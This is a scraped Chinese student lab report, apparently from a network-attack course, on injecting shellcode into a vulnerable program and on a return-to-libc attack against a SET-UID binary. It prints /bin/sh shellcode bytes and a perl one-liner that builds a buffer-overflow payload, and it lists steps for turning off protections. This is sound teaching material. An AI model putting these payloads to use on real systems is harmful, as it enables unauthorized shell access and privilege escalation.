zoukankan      html  css  js  c++  java
  • 20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

    shellcode

    准备一段Shellcode

    我用的老师的shellcode:x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00

    环境设置

    • 设置堆栈可执行
    • 关闭地址随机化

    然后,跳进了坑里

    • 用结构为:nops+shellcode+retaddr进行了shellcode注入
    • 6个nop+shellcode+返回地址,返回地址先用x4x3x2x1代替,之后确定具体值
    • 准备好了注入文件用00结尾
    • 然后把shellcode注入pwn1

    确定注入的shellcode的地址

    • 打开一个新的终端,进行GDB调试
    • 设置断点
    • 寻找esp指向的地址
    • 在附近寻找shellcode的地址
    • 然后继续执行,确定返回地址所占的位置是否正确

    失败了

    然后,把x4x3x2x1替换为内存中shellcode的地址
    注入后运行shell,失败,原因是指令被覆盖了

    从坑里爬起来继续

    • 这次构造的是结构为:anything+retaddr+nops+shellcode
    • perl -e 'print "A" x 32;print "x30xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    • 成功

    Return-to-libc攻击实验

    准备工作,使用另一个 shell 程序(zsh)代替/bin/bash。

    漏洞程序

    • retlib
    • 编译该程序,并设置 SET-UID

    读取环境变量的程序

    攻击程序

    获取内存地址

    gdb 获得 system 和 exit 地址

    修改 exploit.c 文件,填上刚才找到的内存地址

    攻击

  • 相关阅读:
    js实现考试倒计时
    freemarker常见语法大全
    页面修改图片路径
    freemaker页面字符串特殊字符显示异常处理
    win10家庭版远程连接 要求的函数不受支持
    mysql出现提示错误10061的解决方法
    freemark
    面对众多的前端框架,你该如何学习?
    HBase 入门
    Hive 优化
  • 原文地址:https://www.cnblogs.com/5315hejialei/p/6522882.html
Copyright © 2011-2022 走看看